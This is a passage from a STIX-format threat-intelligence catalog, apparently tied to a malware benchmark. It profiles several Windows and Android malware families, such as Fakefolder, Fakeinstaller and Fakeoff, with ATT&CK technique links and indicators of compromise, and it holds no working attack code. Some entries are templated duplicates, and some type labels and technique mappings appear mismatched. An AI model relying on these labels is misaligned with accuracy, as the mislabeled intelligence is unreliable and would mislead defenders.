          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fakeff",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fakeff"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55d375fe-134e-55bb-ad89-0619f8c25356",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ce1ba61-8328-5514-b949-f6bdf8426eb9",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeff exhibits technique T1036.005 (Match Legitimate Name or Location)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--175643d2-580c-5862-9470-29ec1743fe99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ce1ba61-8328-5514-b949-f6bdf8426eb9",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeff exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ccae62a8-5250-5dd4-82b3-2f02c3ef4134",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ce1ba61-8328-5514-b949-f6bdf8426eb9",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeff exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--844c01b5-2488-59b9-8c09-e76585c0436f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fakefolder",
      "description": "Trojan:Win32/Fakefolder (or generic **Folder Icon Spoofing** heuristics) represents a classic, yet highly effective social engineering tactic utilized primarily by USB worms and specific trojans. The malware deliberately changes its executable icon to match the standard yellow Windows Folder icon and hides the actual legitimate directories. The goal is to trick a user into double-clicking what they believe is a folder, which instead executes the malicious payload.<br><br><b>Understanding Fakefolder Tactics</b><br>To an end-user, this attack is highly deceptive. They plug in a USB drive, see a folder named 'Documents' with the correct icon, and double-click it. For a security analyst, this represents a reliance on user deception (`T1036.004`) rather than complex exploits. While the delivery mechanism is simple, the payloads hidden behind the fake folder icon can range from massive botnets to severe ransomware.<br><br><b>Execution and Deception Mechanics</b><br>Fakefolder malware typically spreads via removable media (USB drives) (`T1091`) or network shares (`T1080`). Upon infecting a drive, the malware marks all existing legitimate folders as 'Hidden' and 'System' files (`T1564.001`), making them invisible to the default Windows Explorer view. It then copies its own malicious executable (`.exe`, `.vbs`, or `.scr`) to the root of the drive, renaming itself to match the names of the hidden folders. Crucially, it embeds the standard `shell32.dll` folder icon into its executable (`T1036.004`). When the victim double-clicks the 'folder' (`T1204.002`), the malware executes. To maintain the illusion, the malware will often simultaneously open a new Explorer window displaying the contents of the *actual* hidden folder, so the user never realizes they just ran an executable.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the execution of a secondary payload (often a worm that will continue to spread). The most glaring host-based IoC is the presence of executables (`.exe`) that share the exact names of directories on a USB drive or network share. A sudden spike in EDR alerts originating from executions on removable media (`D:\\`, `E:\\`) is a strong indicator of a Fakefolder worm outbreak. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fakefolder",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fakefolder"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6952669f-b864-55fd-a731-1179f08bce9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--844c01b5-2488-59b9-8c09-e76585c0436f",
      "target_ref": "attack-pattern--89bb64be-8bd1-5742-b788-353d7c078045",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakefolder exhibits technique T1036.004 (Masquerading: Masquerade Task or Service (Spoofing the folder icon))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15cf7a5b-d3db-5360-a9ce-980027630546",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--844c01b5-2488-59b9-8c09-e76585c0436f",
      "target_ref": "attack-pattern--cc0b5894-87c7-5a25-90e8-09cb9907d5d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakefolder exhibits technique T1564.001 (Hide Artifacts: Hidden Files and Directories (Hiding the real folders))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88c8312a-2345-59e1-b53d-3f3cf1bf463d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--844c01b5-2488-59b9-8c09-e76585c0436f",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakefolder exhibits technique T1091 (Replication Through Removable Media (USB worm propagation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66337dd3-c713-5dc4-9a8b-d9514246b20e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--844c01b5-2488-59b9-8c09-e76585c0436f",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakefolder exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--206ec125-34a5-566a-a185-15683a9e2d83",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fakehack",
      "description": "Program:Win32/Fakehack (or similar Rogue Security Software) is a type of Scareware or Potentially Unwanted Program (PUP) that uses social engineering to extort money from users. It intentionally displays highly alarming, fabricated warnings indicating the system is critically infected with viruses or is under active attack, and then coerces the user into purchasing a 'premium' license to resolve these non-existent threats (`T1566.002`).<br><br><b>Understanding Fakehack (Scareware)</b><br>To an end-user, the computer suddenly displays official-looking, flashing warnings (often mimicking the Windows Security Center interface) claiming the system is critically compromised. For a SOC analyst, Fakehack is a nuisance that generates support tickets and indicates a lapse in web filtering or user awareness, as it is almost always downloaded manually by a tricked user.<br><br><b>Execution and Deception Mechanics</b><br>Fakehack typically gains access via drive-by downloads (`T1189`), bundled software installers, or deceptive ads ('Your PC is infected, click here to scan'). Once installed, it establishes persistence (usually via Registry Run keys) so that it launches automatically. It then runs 'scans' that are designed to always find critical errors. It aggressively hooks into the browser to display pop-ups and may attempt to block legitimate security software or prevent the user from opening the Task Manager until they pay (`T1489`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is primarily financial fraud against the user and a severe degradation of the user experience. Host-based IoCs include the presence of the Fakehack application in `C:\\Program Files` (often with a deceptive name like 'Antivirus Pro 2024'), an overwhelming number of pop-up windows, and modifications to the browser's default search engine. Network IoCs include connections to payment gateways associated with known rogue software vendors. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fakehack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fakehack"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a9a3b02-a1f4-5cb2-a7f0-61334d457771",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--206ec125-34a5-566a-a185-15683a9e2d83",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakehack exhibits technique T1566.002 (Phishing: Spearphishing Link (Using fake alerts to drive installations))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0564ebad-bb37-5cd0-b2bd-3f57d9139e5d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--206ec125-34a5-566a-a185-15683a9e2d83",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakehack exhibits technique T1489 (Service Stop (Sometimes attempting to disable legitimate AV to maintain the deception))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--31480850-405e-5816-98e1-7e42d6d42b93",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--206ec125-34a5-566a-a185-15683a9e2d83",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakehack exhibits technique T1189 (Drive-by Compromise (The primary delivery vector))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4973dc02-247d-5e43-a347-4091c0c7db29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fakeie",
      "description": "Trojan:Win32/Fakeie is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Fakeie</b><br>To an end-user, a Fakeie infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Fakeie is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Fakeie is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Fakeie frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Fakeie reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fakeie",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fakeie"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a601f6b-df24-5fff-9028-d125ca88d76e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4973dc02-247d-5e43-a347-4091c0c7db29",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeie exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47a6c445-9a6d-5faa-b6e3-b9cb1b6465ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4973dc02-247d-5e43-a347-4091c0c7db29",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeie exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f05bcbcc-738a-5e06-a22a-8dff84a28baa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4973dc02-247d-5e43-a347-4091c0c7db29",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeie exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5c720459-2fe6-5e3c-ae2d-e751f1108d20",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4973dc02-247d-5e43-a347-4091c0c7db29",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeie exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4744bb34-ffe7-585f-aa76-d97cc6b55bb2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4973dc02-247d-5e43-a347-4091c0c7db29",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeie exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0127d156-9b75-5c99-af95-5fb0ebaedf94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fakeime",
      "description": "Trojan:Win32/Fakeime is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Fakeime</b><br>To an end-user, a Fakeime infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Fakeime is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Fakeime is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Fakeime frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Fakeime reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fakeime",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fakeime"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee792bf1-d005-537f-a999-69b1926bf58b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0127d156-9b75-5c99-af95-5fb0ebaedf94",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeime exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2235e0b-878f-5446-8dff-d7a2da626ccf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0127d156-9b75-5c99-af95-5fb0ebaedf94",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeime exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a79264e-4751-51e1-b159-7cd3c6cfc439",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0127d156-9b75-5c99-af95-5fb0ebaedf94",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeime exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef57b3e0-e869-5257-93cc-ddfda98b6551",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0127d156-9b75-5c99-af95-5fb0ebaedf94",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeime exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--992db00b-7111-515b-bd83-f1974ee6d37e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0127d156-9b75-5c99-af95-5fb0ebaedf94",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeime exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1f5bbfdb-41bb-5115-8c56-687cc9aa11d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fakeinstaller",
      "description": "Trojan:AndroidOS/Fakeinstaller is a massive, historically significant classification for a family of Android mobile malware designed to commit SMS Toll Fraud. These malicious applications masquerade as legitimate apps (like games, utilities, or even security software) on third-party app stores. Their sole purpose is to silently send premium-rate SMS text messages without the user's knowledge or consent, racking up massive charges on the victim's mobile phone bill.<br><br><b>Understanding Fakeinstaller (SMS Toll Fraud)</b><br>To an end-user, the infection often seems benign at first; the app might even provide the functionality it promised. However, the true impact is discovered weeks later when the mobile bill arrives. For a threat analyst, Fakeinstaller represents a highly lucrative, automated criminal enterprise that exploits the billing mechanics of mobile carriers.<br><br><b>Execution and Fraud Mechanics</b><br>Fakeinstaller is distributed primarily via unmoderated, third-party Android app stores or malicious links sent via SMS (Smishing). During installation, the crucial step occurs: the app requests the `SEND_SMS` Android permission. If granted, the malware activates upon installation or device boot (`RECEIVE_BOOT_COMPLETED`). It connects to a C2 server to retrieve a list of premium-rate shortcodes and the specific text strings required to trigger a billing event. It then silently sends these messages in the background (`T1624.001`). To evade detection by the user, many variants also utilize the `RECEIVE_SMS` permission to intercept and delete the confirmation texts sent back by the premium service, ensuring the victim remains unaware of the fraud.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is direct financial loss via carrier billing. Device-based IoCs include the presence of applications requesting SMS permissions (`SEND_SMS`, `RECEIVE_SMS`, `READ_SMS`) that have no legitimate need for them (e.g., a flashlight app requesting SMS access). A review of the device's outbound SMS logs (if the malware hasn't deleted them) will reveal texts sent to unknown 5-digit or 6-digit shortcodes. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fakeinstaller",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fakeinstaller"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe9dec6e-00f7-5b42-bb17-01ca87a25221",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1f5bbfdb-41bb-5115-8c56-687cc9aa11d3",
      "target_ref": "attack-pattern--04188f3d-4282-5ba5-a499-57611a83e560",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeinstaller exhibits technique T1624.001 (Data from Information Repositories: Short Message Service (SMS) (Intercepting and deleting billing confirmation texts))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--855bf2e5-1f84-52f9-b207-02f6b5a590fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1f5bbfdb-41bb-5115-8c56-687cc9aa11d3",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeinstaller exhibits technique T1498 (Network Denial of Service (Though less DoS, it abuses network billing services))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--07fabe37-ac41-599a-a5c2-c62d6b7a0948",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1437: Application Layer Protocol (Communicating with C2 to fetch premium shortcodes)",
      "description": "MITRE ATT&CK Technique T1437 (Application Layer Protocol (Communicating with C2 to fetch premium shortcodes)) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1437",
          "url": "https://attack.mitre.org/techniques/T1437/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b10f032-200c-5655-950c-b3ce6e23f9ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1f5bbfdb-41bb-5115-8c56-687cc9aa11d3",
      "target_ref": "attack-pattern--07fabe37-ac41-599a-a5c2-c62d6b7a0948",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeinstaller exhibits technique T1437 (Application Layer Protocol (Communicating with C2 to fetch premium shortcodes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b95d2fea-a49e-580d-8f76-f8ca07318e30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fakeoff",
      "description": "Rogue:Win32/Fakeoff is a deceptive class of malware known as Rogue Security Software, or 'Fake AV'. It is explicitly designed to scam victims out of money by aggressively displaying highly realistic, but entirely fabricated, security alerts and system scans. Fakeoff claims the user's computer is heavily infected with severe viruses and demands immediate payment (often via credit card) for a 'premium license' to remove the non-existent threats.<br><br><b>Understanding Fakeoff (Rogue AV)</b><br>To an end-user, a Fakeoff infection is terrifying and highly disruptive. The malware often takes over the entire screen, blocks access to the Task Manager, and constantly bombards the user with fake infection warnings. For a SOC analyst, Fakeoff is a social engineering attack that preys on fear. While the primary goal is financial fraud via the fake license purchase, the malware also lowers system defenses, making the machine vulnerable to actual secondary infections.<br><br><b>Execution and Extortion Mechanics</b><br>Fakeoff is typically distributed via drive-by downloads on compromised websites or through malicious advertisements (malvertising) (`T1189`). When executed, it installs itself deeply into the system, often modifying the Registry Run keys to ensure it starts before the Windows shell (`T1547.001`). It employs aggressive defense evasion by actively searching for and forcefully terminating the processes of legitimate antivirus software and essential system utilities like `taskmgr.exe` and `regedit.exe` (`T1562.001`). The malware then displays a fake, highly polished graphical interface mimicking a legitimate security center (`T1036`), running a fake 'scan' that guarantees finding dozens of critical threats.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is financial loss (if the user pays) and a completely unusable system. Host-based IoCs include the inability to launch Task Manager or legitimate AV programs, EDR alerts for process termination targeting security tools, and the presence of suspicious, highly visible executable files in `%AppData%` or `%ProgramFiles%`. Network IoCs include outbound HTTP/HTTPS traffic to payment processing domains associated with the rogue software. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fakeoff",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fakeoff"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e09ad0d-fdd6-5c81-ace5-fa289da826c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b95d2fea-a49e-580d-8f76-f8ca07318e30",
      "target_ref": "attack-pattern--8e710e9c-d045-55d0-aa9b-984f010643f0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeoff exhibits technique T1036 (Masquerading (Spoofing legitimate security software GUIs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--818521f6-e6e6-5825-b501-cdc1c819bc11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b95d2fea-a49e-580d-8f76-f8ca07318e30",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeoff exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Terminating real AV))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4577c935-d085-5afb-8c5d-c6b6c566b423",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b95d2fea-a49e-580d-8f76-f8ca07318e30",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeoff exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1dccd91d-6fa5-5720-9e2d-2d9c285e595c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b95d2fea-a49e-580d-8f76-f8ca07318e30",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeoff exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d7b21923-dcaf-5e3b-8fed-8c0b19de4059",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fakeplayer",
